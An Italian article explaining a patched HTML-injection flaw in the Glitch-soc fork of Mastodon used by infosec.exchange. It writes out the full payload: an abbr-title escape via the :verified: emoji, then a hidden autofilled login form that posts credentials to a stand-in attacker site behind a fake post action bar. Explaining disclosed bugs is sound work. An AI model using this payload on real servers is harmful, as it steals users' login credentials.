Una falla non Mastodon-tica

Da quando Elon Musk ha acquistato il controllo di Twitter, e ha preso alcune decisioni molto controverse, questo social network ha visto una emorraggia di utenti, che si sono rifugiati su Mastodon. In effetti, Mastodon viene visto un po’ come una versione libera e open source a Twitter, nel senso che mantiene funzionalità simili. Se considerare Diaspora una alternativa FOSS a Facebook è improprio, perché la logica di base e le funzionalità sono differenti, si può dire che Mastodon sia davvero pensato con la stessa logica di interazioni sociali esistenti su Twitter. La sua natura open source, però, offre una serie importanti vantaggi, non ultima la possibilità di personalizzare la propria istanza. Questa “medaglia” ha, chiaramente, un rovescio: è possibile che il server che si sta utilizzando usi una versione di Mastodon differente da quella “ufficiale”, che può quindi nascondere falle e vulnerabilità sconosciute.

Una federazione di server

Uno dei server Mastodon molto utilizzati da chi si occupa di informatica in generale, e di sicurezza informatica nello specifico, è infosec.exchange. Una caratteristica interessante di questo server è che offre la possibilità, nelle impostazioni utente, di abilitare i post in html. Questo significa che l’eventuale contenuto HTML di un post viene caricato nella pagina, interpretato dal browser, e visualizzato. Questo è un potenziale problema in termini di sicurezza perché implica che a un utente è permesso aggiungere componenti al DOM della pagina, e non dobbiamo dimenticare che poi sono i browser degli altri utenti a visualizzarlo, eseguendo tutto ciò che è previsto dall’HTML. Ma, chiaramente, non tutto l’HTML viene per nuocere: è un linguaggio di markup, si occupa più che altro di paragrafi, pulsanti, link e intestazioni. In linea di massima si potrebbe dire che finché si aggiungono elementi grafici sulla pagina non è un problema immediato. Il componente più pericoloso è l’elemento <script></script>, che infatti non è permesso. Il server Mastodon in questione ha infatti un filtro che elimina eventuali porzioni di Javascript inserite nei post. Tutto bene, quindi? Purtroppo no, perché Javascript non è l’unico modo per ottenere una esecuzione remota di codice direttamente nei pc degli utenti, pur essendo il più ovvio. Un metodo meno ovvio, ma spesso sufficientemente efficace, consiste nel farlo fare all’utente, nascondendo pulsanti e anche interi form in una pagina.

Il filtro per l’html, naturalmente, impedirebbe di inserire un form dentro un post Mastodon. Tuttavia, i post possono contenere degli attributi, e gli analisti hanno scoperto che il tag dedicato al titolo del post viene mantenuto così com’è. Infatti, questo codice:

<abbr title=”<img src=1 onerror=alert(1)>”>test</abbr>

Viene poi renderizzato nella pagina in questo modo, completamente intatto:

<abbr title=”<img src=1 onerror=alert(1)>”>test</abbr>

Come si può intuire, non è possibile usarlo per iniettare Javascript, ma si può usare per iniettare dell’html. Il “problema” è che il codice sarebbe all’interno del titolo, e non ha molto senso. Per poter iniettare qualcosa di realmente pericoloso, bisogna trovare un modo per uscire dal tag. Serve qualcosa che venga sostituito automaticamente, e che possa quindi sfuggire al filtro sull’html.

Per esempio, la scorciatoia

:verified:

Inserisce in un messaggio, titolo incluso, l’icona con la spunta blu tipica di un post “verificato”. Che si riduce a questo html:

<img draggable=”false” class=”emojione custom-emoji” alt=”:verified:” […] >

Facendo un tentativo, si nota che il codice apparentemente inutile

<abbr title=”<a href=’https://blah’>:verified:</a><iframe src=//garethheyes.co.uk/>”>

Diventa:

<abbr title=”<a href=’https://blah</a>’>
<img draggable=” false” … >
<iframe src=//garethheyes.co.uk/>

Quello che è successo è che il server ha inserito il tag img ma, così facendo, ha chiuso il tag precedente, rendendo quindi completamente autonomo il tag con l’iframe che altrimenti sarebbe apparso come testo. L’iframe viene quindi caricato, ed è teoricamente possibile integrare nella pagina porzioni di un altro sito web.

Non è comunque possibile integrare nella pagina altre risorse, come fogli di stile o script: i responsabili del server Mastodon hanno ovviamente previsto che qualcuno potesse cercare di integrare porzioni di pagine presenti su altri server, e hanno impedito questa cosa implementando delle Content Security Policies particolarmente stringenti. Non è infatti possibile fare riferimento a nessuna risorsa esterna al dominio infosec.exchange. Un form, però, può tranquillamente puntare a un’altro sito web. Si può quindi iniziare a scrivere un codice di questo tipo:

<abbr title=”<a href=’https://blah’>:verified:</a></abbr>

<form action=//pirata.it/rubapassword>

<input name=username >

<input type=password name=password >

Questo codice produrrebbe un classico form di login. Qual è il vantaggio, per un malintenzionato? Che i browser moderni, Google Chrome in particolare, hanno la funzione autofill attiva e riempiono automaticamente i campi, inserendo quindi nome utente e password dell’utente che sta visualizzando il post. Non avendo a disposizione javascript non si può attivare un invio automatico del form, però è possibile inserire un pulsante. Basta trovare un modo per camuffarlo e convincere l’utente stesso a cliccarci sopra. Una opzione consiste nel riprodurre la toolbar che appare sotto ad ogni post:

<div class=’status__action-bar’><button type=submit aria-label=’Reply’ title=’Reply’ class=’status__action-bar-button icon-button’ tabindex=’0′>

<i role=’img’ class=’fa fa-reply fa-fw’ aria-hidden=’true’></i>

 </button>

<button type=submit aria-label=’Boost’ aria-pressed=’false’ title=’Boost’ class=’status__action-bar-button icon-button’ tabindex=’0′ ><i role=’img’ class=’fa fa-retweet fa-fw’ aria-hidden=’true’></i>

 </button><button type=submit aria-label=’Favourite’ aria-pressed=’false’ title=’Favourite’ class=’status__action-bar-button star-icon icon-button’ tabindex=’0′><i role=’img’ class=’fa fa-star fa-fw’ aria-hidden=’true’></i>

</button><button type=submit aria-label=’Bookmark’ aria-pressed=’false’ title=’Bookmark’ class=’status__action-bar-button bookmark-icon icon-button’ tabindex=’0′>

<i role=’img’ class=’fa fa-bookmark fa-fw’ aria-hidden=’true’></i> </button>

<div class=’status__action-bar-dropdown’><button type=submit aria-label=’Menu’ title=’Menu’ class=’icon-button’ tabindex=’0′><i role=’img’ class=’fa fa-ellipsis-h fa-fw’ aria-hidden=’true’></i> </button></div>

</div>

“>

Nella action bar ci sono 5 pulsanti: Reply, Boost, Favourite, Bookmark, e Menu. Per riprodurli basta copiare il codice html dei veri pulsanti, tanto il loro aspetto dipende dai CSS che sono comunque già caricati nella pagina. Essendo perfettamente simile alla vera barra del post, è plausibile che più di qualche utente possa cliccarci sopra per sbaglio. L’unico passaggio che manca è nascondere i campi del form, altrimenti l’utente si rende perfettamente conto dell’inganno. Non si possono trasformare i campi in “hidden”, perché l’autofill dei browser non funzionerebbe. Però, almeno Chrome, funziona perfettamente se i campi non sono visibili a causa dello stile impostato nei CSS. La soluzione, per un malintenzionato, quindi, consiste nel cercare una classe, nei fogli di stile caricati naturalmente da Mastodon, che renda l’oggetto invisibile. Per esempio, la classe react-toggle-track-check ha l’opacità impostata a zero. Assegnando questa classe agli elementi input:

<input name=username class=react-toggle-track-check>

<input type=password name=password class=react-toggle-track-check>

Rimangono nella pagina pur essendo invisibili per l’utente, e vengono riempiti dall’autofill con i dati dell’utente. Quando l’utente clicca su uno dei pulsanti il form viene inviato al sito del malintenzionato, che quindi riceve le credenziali della vittima.

Entità della vulnerabilità

Questa vulnerabilità è dovuta a una modifica presente sul server di infosec.exchange, quindi gli altri server Mastodon non sono necessariamente vulnerabili. E gli utenti di questo server sono in buona parte esperti di sicurezza, quindi è meno probabile che possano cadere nel phishing. È però anche vero che questo tipo di attacco potrebbe, teoricamente, essere applicato a altri server che contengano una modifica simile. Dipende infatti da alcune funzioni relative al supporto a markdown e html nei post presenti in Glitch-soc, un fork di Mastodon su cui si basa il server di infosec.exchange ma che altri potrebbero avere implementato sui propri server. Il problema, per un utente, è che non è facile capire se il server abbia questa vulnerabilità, e con l’improvviso aumento di utenti (e server) è facile che qualcuno finisca su un server che non è correttamente patchato.

La soluzione

I responsabili di Glitch-soc hanno corretto immediatamente il problema dopo la segnalazione, e i server di infosec.exchange sono ormai sicuri. La versione originale di Mastodon, invece, non è mai stata in pericolo, perché non supporta gli attributi title per i post. Più in generale, però, questo tipo di attacchi non potrebbe funzionare senza browser web che eseguono l’autofill su form che l’utente non riesce nemmeno a vedere. Purtroppo, non esistono estensioni per Google Chrome che disabilitino l’autocomplete temporaneamente, in modo da farlo funzionare solo quando l’utente lo desidera davvero. Su Firefox, invece, è necessario che l’utente porti almeno il focus sul form, prima che il browser cerchi di riempire i campi con le credenziali memorizzate.